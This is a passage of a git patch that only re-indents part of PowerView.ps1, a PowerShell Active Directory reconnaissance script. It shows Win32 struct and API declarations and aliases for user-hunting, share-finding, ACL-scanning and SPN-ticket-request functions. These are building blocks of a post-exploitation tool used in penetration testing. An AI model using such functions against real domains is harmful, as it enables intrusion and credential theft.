IdleTime = field 3 UInt32 + } + + # enum used by $LOCALGROUP_MEMBERS_INFO_2 below + $SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{ + SidTypeUser = 1 + SidTypeGroup = 2 + SidTypeDomain = 3 + SidTypeAlias = 4 + SidTypeWellKnownGroup = 5 + SidTypeDeletedAccount = 6 + SidTypeInvalid = 7 + SidTypeUnknown = 8 + SidTypeComputer = 9 + } + + # the NetLocalGroupEnum result structure + $LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{ + lgrpi1_name = field 0 String -MarshalAs @('LPWStr') + lgrpi1_comment = field 1 String -MarshalAs @('LPWStr') + } + + # the NetLocalGroupGetMembers result structure + $LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ + lgrmi2_sid = field 0 IntPtr + lgrmi2_sidusage = field 1 $SID_NAME_USE + lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr') + } + + # enums used in DS_DOMAIN_TRUSTS + $DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{ + IN_FOREST = 1 + DIRECT_OUTBOUND = 2 + TREE_ROOT = 4 + PRIMARY = 8 + NATIVE_MODE = 16 + DIRECT_INBOUND = 32 + } -Bitfield + $DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{ + DOWNLEVEL = 1 + UPLEVEL = 2 + MIT = 3 + DCE = 4 + } + $DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{ + NON_TRANSITIVE = 1 + UPLEVEL_ONLY = 2 + FILTER_SIDS = 4 + FOREST_TRANSITIVE = 8 + CROSS_ORGANIZATION = 16 + WITHIN_FOREST = 32 + TREAT_AS_EXTERNAL = 64 + } + + # the DsEnumerateDomainTrusts result structure + $DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ + NetbiosDomainName = field 0 String -MarshalAs @('LPWStr') + DnsDomainName = field 1 String -MarshalAs @('LPWStr') + Flags = field 2 $DsDomainFlag + ParentIndex = field 3 UInt32 + TrustType = field 4 $DsDomainTrustType + TrustAttributes = field 5 $DsDomainTrustAttributes + DomainSid = field 6 IntPtr + DomainGuid = field 7 Guid + } + + # used by WNetAddConnection2W + $NETRESOURCEW = struct $Mod NETRESOURCEW @{ + dwScope = field 0 UInt32 + dwType = field 1 UInt32 + dwDisplayType = field 2 UInt32 + dwUsage = field 3 UInt32 + lpLocalName = field 4 String -MarshalAs @('LPWStr') + lpRemoteName = field 5 String -MarshalAs @('LPWStr') + lpComment = field 6 String -MarshalAs @('LPWStr') + lpProvider = field 7 String -MarshalAs @('LPWStr') + } + + # all of the Win32 API functions we need + $FunctionDefinitions = @( + (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), + (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), + (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), + (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), + (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError), + (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), + (func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError), + (func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError), + (func advapi32 RevertToSelf ([Bool]) @() -SetLastError), + (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), + (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), + (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), + (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), + (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), + (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])), + (func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])), + (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])), + (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError) + ) + + $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' + $Netapi32 = $Types['netapi32'] + $Advapi32 = $Types['advapi32'] + $Wtsapi32 = $Types['wtsapi32'] + $Mpr = $Types['Mpr'] + $Kernel32 = $Types['kernel32'] + + Set-Alias Get-IPAddress Resolve-IPAddress + Set-Alias Convert-NameToSid ConvertTo-SID + Set-Alias Convert-SidToName ConvertFrom-SID + Set-Alias Request-SPNTicket Get-DomainSPNTicket + Set-Alias Get-DNSZone Get-DomainDNSZone + Set-Alias Get-DNSRecord Get-DomainDNSRecord + Set-Alias Get-NetDomain Get-Domain + Set-Alias Get-NetDomainController Get-DomainController + Set-Alias Get-NetForest Get-Forest + Set-Alias Get-NetForestDomain Get-ForestDomain + Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog + Set-Alias Get-NetUser Get-DomainUser + Set-Alias Get-UserEvent Get-DomainUserEvent + Set-Alias Get-NetComputer Get-DomainComputer + Set-Alias Get-ADObject Get-DomainObject + Set-Alias Set-ADObject Set-DomainObject + Set-Alias Get-ObjectAcl Get-DomainObjectAcl + Set-Alias Add-ObjectAcl Add-DomainObjectAcl + Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl + Set-Alias Get-GUIDMap Get-DomainGUIDMap + Set-Alias Get-NetOU Get-DomainOU + Set-Alias Get-NetSite Get-DomainSite + Set-Alias Get-NetSubnet Get-DomainSubnet + Set-Alias Get-NetGroup Get-DomainGroup + Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup + Set-Alias Get-NetGroupMember Get-DomainGroupMember + Set-Alias Get-NetFileServer Get-DomainFileServer + Set-Alias Get-DFSshare Get-DomainDFSShare + Set-Alias Get-NetGPO Get-DomainGPO + Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup + Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping + Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping + Set-Alias Get-LoggedOnLocal Get-RegLoggedOn + Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess + Set-Alias Get-SiteName Get-NetComputerSiteName + Set-Alias Get-Proxy Get-WMIRegProxy + Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn + Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection + Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive + Set-Alias Get-NetProcess Get-WMIProcess + Set-Alias Invoke-ThreadedFunction New-ThreadedFunction + Set-Alias Invoke-UserHunter Find-DomainUserLocation + Set-Alias Invoke-ProcessHunter Find-DomainProcess + Set-Alias Invoke-EventHunter Find-DomainUserEvent + Set-Alias Invoke-ShareFinder Find-DomainShare + Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile + Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember + Set-Alias Get-NetDomainTrust Get-DomainTrust + Set-Alias Get-NetForestTrust Get-ForestTrust + Set-Alias Find-ForeignUser Get-DomainForeignUser + Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember + Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping Set-Alias Get-DomainPolicy Get-DomainPolicyData From 95df8f9cf8c46d43de2310fa26aa22998c8689c6 Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Wed, 17 Nov 2021 21:28:15 +0000 Subject: [PATCH 53/58] removed extra tabs accidentally added tp the end of the script --- Recon/PowerView.ps1 | 484 ++++++++++++++++++++++---------------------- 1 file changed, 242 insertions(+), 242 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index c18d9fe5..0dbb9979 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -24565,246 +24565,246 @@ $GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{ } -Bitfield # used to parse the 'userAccountControl' property for users/groups - $UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{ - SCRIPT = 1 - ACCOUNTDISABLE = 2 - HOMEDIR_REQUIRED = 8 - LOCKOUT = 16 - PASSWD_NOTREQD = 32 - PASSWD_CANT_CHANGE = 64 - ENCRYPTED_TEXT_PWD_ALLOWED = 128 - TEMP_DUPLICATE_ACCOUNT = 256 - NORMAL_ACCOUNT = 512 - INTERDOMAIN_TRUST_ACCOUNT = 2048 - WORKSTATION_TRUST_ACCOUNT = 4096 - SERVER_TRUST_ACCOUNT = 8192 - DONT_EXPIRE_PASSWORD = 65536 - MNS_LOGON_ACCOUNT = 131072 - SMARTCARD_REQUIRED = 262144 - TRUSTED_FOR_DELEGATION = 524288 - NOT_DELEGATED = 1048576 - USE_DES_KEY_ONLY = 2097152 - DONT_REQ_PREAUTH = 4194304 - PASSWORD_EXPIRED = 8388608 - TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216 - NO_AUTH_DATA_REQUIRED = 33554432 - PARTIAL_SECRETS_ACCOUNT = 67108864 - } -Bitfield - - # enum used by $WTS_SESSION_INFO_1 below - $WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{ - Active = 0 - Connected = 1 - ConnectQuery = 2 - Shadow = 3 - Disconnected = 4 - Idle = 5 - Listen = 6 - Reset = 7 - Down = 8 - Init = 9 - } - - # the WTSEnumerateSessionsEx result structure - $WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{ - ExecEnvId = field 0 UInt32 - State = field 1 $WTSConnectState - SessionId = field 2 UInt32 - pSessionName = field 3 String -MarshalAs @('LPWStr') - pHostName = field 4 String -MarshalAs @('LPWStr') - pUserName = field 5 String -MarshalAs @('LPWStr') - pDomainName = field 6 String -MarshalAs @('LPWStr') - pFarmName = field 7 String -MarshalAs @('LPWStr') - } - - # the particular WTSQuerySessionInformation result structure - $WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{ - AddressFamily = field 0 UInt32 - Address = field 1 Byte[] -MarshalAs @('ByValArray', 20) - } - - # the NetShareEnum result structure - $SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{ - Name = field 0 String -MarshalAs @('LPWStr') - Type = field 1 UInt32 - Remark = field 2 String -MarshalAs @('LPWStr') - } - - # the NetWkstaUserEnum result structure - $WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{ - UserName = field 0 String -MarshalAs @('LPWStr') - LogonDomain = field 1 String -MarshalAs @('LPWStr') - AuthDomains = field 2 String -MarshalAs @('LPWStr') - LogonServer = field 3 String -MarshalAs @('LPWStr') - } - - # the NetSessionEnum result structure - $SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{ - CName = field 0 String -MarshalAs @('LPWStr') - UserName = field 1 String -MarshalAs @('LPWStr') - Time = field 2 UInt32 - IdleTime = field 3 UInt32 - } - - # enum used by $LOCALGROUP_MEMBERS_INFO_2 below - $SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{ - SidTypeUser = 1 - SidTypeGroup = 2 - SidTypeDomain = 3 - SidTypeAlias = 4 - SidTypeWellKnownGroup = 5 - SidTypeDeletedAccount = 6 - SidTypeInvalid = 7 - SidTypeUnknown = 8 - SidTypeComputer = 9 - } - - # the NetLocalGroupEnum result structure - $LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{ - lgrpi1_name = field 0 String -MarshalAs @('LPWStr') - lgrpi1_comment = field 1 String -MarshalAs @('LPWStr') - } - - # the NetLocalGroupGetMembers result structure - $LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ - lgrmi2_sid = field 0 IntPtr - lgrmi2_sidusage = field 1 $SID_NAME_USE - lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr') - } - - # enums used in DS_DOMAIN_TRUSTS - $DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{ - IN_FOREST = 1 - DIRECT_OUTBOUND = 2 - TREE_ROOT = 4 - PRIMARY = 8 - NATIVE_MODE = 16 - DIRECT_INBOUND = 32 - } -Bitfield - $DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{ - DOWNLEVEL = 1 - UPLEVEL = 2 - MIT = 3 - DCE = 4 - } - $DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{ - NON_TRANSITIVE = 1 - UPLEVEL_ONLY = 2 - FILTER_SIDS = 4 - FOREST_TRANSITIVE = 8 - CROSS_ORGANIZATION = 16 - WITHIN_FOREST = 32 - TREAT_AS_EXTERNAL = 64 - } - - # the DsEnumerateDomainTrusts result structure - $DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ - NetbiosDomainName = field 0 String -MarshalAs @('LPWStr') - DnsDomainName = field 1 String -MarshalAs @('LPWStr') - Flags = field 2 $DsDomainFlag - ParentIndex = field 3 UInt32 - TrustType = field 4 $DsDomainTrustType - TrustAttributes = field 5 $DsDomainTrustAttributes - DomainSid = field 6 IntPtr - DomainGuid = field 7 Guid - } - - # used by WNetAddConnection2W - $NETRESOURCEW = struct $Mod NETRESOURCEW @{ - dwScope = field 0 UInt32 - dwType = field 1 UInt32 - dwDisplayType = field 2 UInt32 - dwUsage = field 3 UInt32 - lpLocalName = field 4 String -MarshalAs @('LPWStr') - lpRemoteName = field 5 String -MarshalAs @('LPWStr') - lpComment = field 6 String -MarshalAs @('LPWStr') - lpProvider = field 7 String -MarshalAs @('LPWStr') - } - - # all of the Win32 API functions we need - $FunctionDefinitions = @( - (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), - (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), - (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), - (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), - (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError), - (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), - (func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError), - (func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError), - (func advapi32 RevertToSelf ([Bool]) @() -SetLastError), - (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), - (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), - (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), - (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), - (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), - (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])), - (func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])), - (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])), - (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError) - ) - - $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' - $Netapi32 = $Types['netapi32'] - $Advapi32 = $Types['advapi32'] - $Wtsapi32 = $Types['wtsapi32'] - $Mpr = $Types['Mpr'] - $Kernel32 = $Types['kernel32'] - - Set-Alias Get-IPAddress Resolve-IPAddress - Set-Alias Convert-NameToSid ConvertTo-SID - Set-Alias Convert-SidToName ConvertFrom-SID - Set-Alias Request-SPNTicket Get-DomainSPNTicket - Set-Alias Get-DNSZone Get-DomainDNSZone - Set-Alias Get-DNSRecord Get-DomainDNSRecord - Set-Alias Get-NetDomain Get-Domain - Set-Alias Get-NetDomainController Get-DomainController - Set-Alias Get-NetForest Get-Forest - Set-Alias Get-NetForestDomain Get-ForestDomain - Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog - Set-Alias Get-NetUser Get-DomainUser - Set-Alias Get-UserEvent Get-DomainUserEvent - Set-Alias Get-NetComputer Get-DomainComputer - Set-Alias Get-ADObject Get-DomainObject - Set-Alias Set-ADObject Set-DomainObject - Set-Alias Get-ObjectAcl Get-DomainObjectAcl - Set-Alias Add-ObjectAcl Add-DomainObjectAcl - Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl - Set-Alias Get-GUIDMap Get-DomainGUIDMap - Set-Alias Get-NetOU Get-DomainOU - Set-Alias Get-NetSite Get-DomainSite - Set-Alias Get-NetSubnet Get-DomainSubnet - Set-Alias Get-NetGroup Get-DomainGroup - Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup - Set-Alias Get-NetGroupMember Get-DomainGroupMember - Set-Alias Get-NetFileServer Get-DomainFileServer - Set-Alias Get-DFSshare Get-DomainDFSShare - Set-Alias Get-NetGPO Get-DomainGPO - Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup - Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping - Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping - Set-Alias Get-LoggedOnLocal Get-RegLoggedOn - Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess - Set-Alias Get-SiteName Get-NetComputerSiteName - Set-Alias Get-Proxy Get-WMIRegProxy - Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn - Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection - Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive - Set-Alias Get-NetProcess Get-WMIProcess - Set-Alias Invoke-ThreadedFunction New-ThreadedFunction - Set-Alias Invoke-UserHunter Find-DomainUserLocation - Set-Alias Invoke-ProcessHunter Find-DomainProcess - Set-Alias Invoke-EventHunter Find-DomainUserEvent - Set-Alias Invoke-ShareFinder Find-DomainShare - Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile - Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember - Set-Alias Get-NetDomainTrust Get-DomainTrust - Set-Alias Get-NetForestTrust Get-ForestTrust - Set-Alias Find-ForeignUser Get-DomainForeignUser - Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember - Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping +$UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{ + SCRIPT = 1 + ACCOUNTDISABLE = 2 + HOMEDIR_REQUIRED = 8 + LOCKOUT = 16 + PASSWD_NOTREQD = 32 + PASSWD_CANT_CHANGE = 64 + ENCRYPTED_TEXT_PWD_ALLOWED = 128 + TEMP_DUPLICATE_ACCOUNT = 256 + NORMAL_ACCOUNT = 512 + INTERDOMAIN_TRUST_ACCOUNT = 2048 + WORKSTATION_TRUST_ACCOUNT = 4096 + SERVER_TRUST_ACCOUNT = 8192 + DONT_EXPIRE_PASSWORD = 65536 + MNS_LOGON_ACCOUNT = 131072 + SMARTCARD_REQUIRED = 262144 + TRUSTED_FOR_DELEGATION = 524288 + NOT_DELEGATED = 1048576 + USE_DES_KEY_ONLY = 2097152 + DONT_REQ_PREAUTH = 4194304 + PASSWORD_EXPIRED = 8388608 + TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216 + NO_AUTH_DATA_REQUIRED = 33554432 + PARTIAL_SECRETS_ACCOUNT = 67108864 +} -Bitfield + +# enum used by $WTS_SESSION_INFO_1 below +$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{ + Active = 0 + Connected = 1 + ConnectQuery = 2 + Shadow = 3 + Disconnected = 4 + Idle = 5 + Listen = 6 + Reset = 7 + Down = 8 + Init = 9 +} + +# the WTSEnumerateSessionsEx result structure +$WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{ + ExecEnvId = field 0 UInt32 + State = field 1 $WTSConnectState + SessionId = field 2 UInt32 + pSessionName = field 3 String -MarshalAs @('LPWStr') + pHostName = field 4 String -MarshalAs @('LPWStr') + pUserName = field 5 String -MarshalAs @('LPWStr') + pDomainName = field 6 String -MarshalAs @('LPWStr') + pFarmName = field 7 String -MarshalAs @('LPWStr') +} + +# the particular WTSQuerySessionInformation result structure +$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{ + AddressFamily = field 0 UInt32 + Address = field 1 Byte[] -MarshalAs @('ByValArray', 20) +} + +# the NetShareEnum result structure +$SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{ + Name = field 0 String -MarshalAs @('LPWStr') + Type = field 1 UInt32 + Remark = field 2 String -MarshalAs @('LPWStr') +} + +# the NetWkstaUserEnum result structure +$WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{ + UserName = field 0 String -MarshalAs @('LPWStr') + LogonDomain = field 1 String -MarshalAs @('LPWStr') + AuthDomains = field 2 String -MarshalAs @('LPWStr') + LogonServer = field 3 String -MarshalAs @('LPWStr') +} + +# the NetSessionEnum result structure +$SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{ + CName = field 0 String -MarshalAs @('LPWStr') + UserName = field 1 String -MarshalAs @('LPWStr') + Time = field 2 UInt32 + IdleTime = field 3 UInt32 +} + +# enum used by $LOCALGROUP_MEMBERS_INFO_2 below +$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{ + SidTypeUser = 1 + SidTypeGroup = 2 + SidTypeDomain = 3 + SidTypeAlias = 4 + SidTypeWellKnownGroup = 5 + SidTypeDeletedAccount = 6 + SidTypeInvalid = 7 + SidTypeUnknown = 8 + SidTypeComputer = 9 +} + +# the NetLocalGroupEnum result structure +$LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{ + lgrpi1_name = field 0 String -MarshalAs @('LPWStr') + lgrpi1_comment = field 1 String -MarshalAs @('LPWStr') +} + +# the NetLocalGroupGetMembers result structure +$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ + lgrmi2_sid = field 0 IntPtr + lgrmi2_sidusage = field 1 $SID_NAME_USE + lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr') +} + +# enums used in DS_DOMAIN_TRUSTS +$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{ + IN_FOREST = 1 + DIRECT_OUTBOUND = 2 + TREE_ROOT = 4 + PRIMARY = 8 + NATIVE_MODE = 16 + DIRECT_INBOUND = 32 +} -Bitfield +$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{ + DOWNLEVEL = 1 + UPLEVEL = 2 + MIT = 3 + DCE = 4 +} +$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{ + NON_TRANSITIVE = 1 + UPLEVEL_ONLY = 2 + FILTER_SIDS = 4 + FOREST_TRANSITIVE = 8 + CROSS_ORGANIZATION = 16 + WITHIN_FOREST = 32 + TREAT_AS_EXTERNAL = 64 +} + +# the DsEnumerateDomainTrusts result structure +$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ + NetbiosDomainName = field 0 String -MarshalAs @('LPWStr') + DnsDomainName = field 1 String -MarshalAs @('LPWStr') + Flags = field 2 $DsDomainFlag + ParentIndex = field 3 UInt32 + TrustType = field 4 $DsDomainTrustType + TrustAttributes = field 5 $DsDomainTrustAttributes + DomainSid = field 6 IntPtr + DomainGuid = field 7 Guid +} + +# used by WNetAddConnection2W +$NETRESOURCEW = struct $Mod NETRESOURCEW @{ + dwScope = field 0 UInt32 + dwType = field 1 UInt32 + dwDisplayType = field 2 UInt32 + dwUsage = field 3 UInt32 + lpLocalName = field 4 String -MarshalAs @('LPWStr') + lpRemoteName = field 5 String -MarshalAs @('LPWStr') + lpComment = field 6 String -MarshalAs @('LPWStr') + lpProvider = field 7 String -MarshalAs @('LPWStr') +} + +# all of the Win32 API functions we need +$FunctionDefinitions = @( + (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), + (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), + (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), + (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), + (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError), + (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), + (func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError), + (func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError), + (func advapi32 RevertToSelf ([Bool]) @() -SetLastError), + (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), + (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), + (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), + (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), + (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), + (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])), + (func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])), + (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])), + (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError) +) + +$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' +$Netapi32 = $Types['netapi32'] +$Advapi32 = $Types['advapi32'] +$Wtsapi32 = $Types['wtsapi32'] +$Mpr = $Types['Mpr'] +$Kernel32 = $Types['kernel32'] + +Set-Alias Get-IPAddress Resolve-IPAddress +Set-Alias Convert-NameToSid ConvertTo-SID +Set-Alias Convert-SidToName ConvertFrom-SID +Set-Alias Request-SPNTicket Get-DomainSPNTicket +Set-Alias Get-DNSZone Get-DomainDNSZone +Set-Alias Get-DNSRecord Get-DomainDNSRecord +Set-Alias Get-NetDomain Get-Domain +Set-Alias Get-NetDomainController Get-DomainController +Set-Alias Get-NetForest Get-Forest +Set-Alias Get-NetForestDomain Get-ForestDomain +Set-Alias 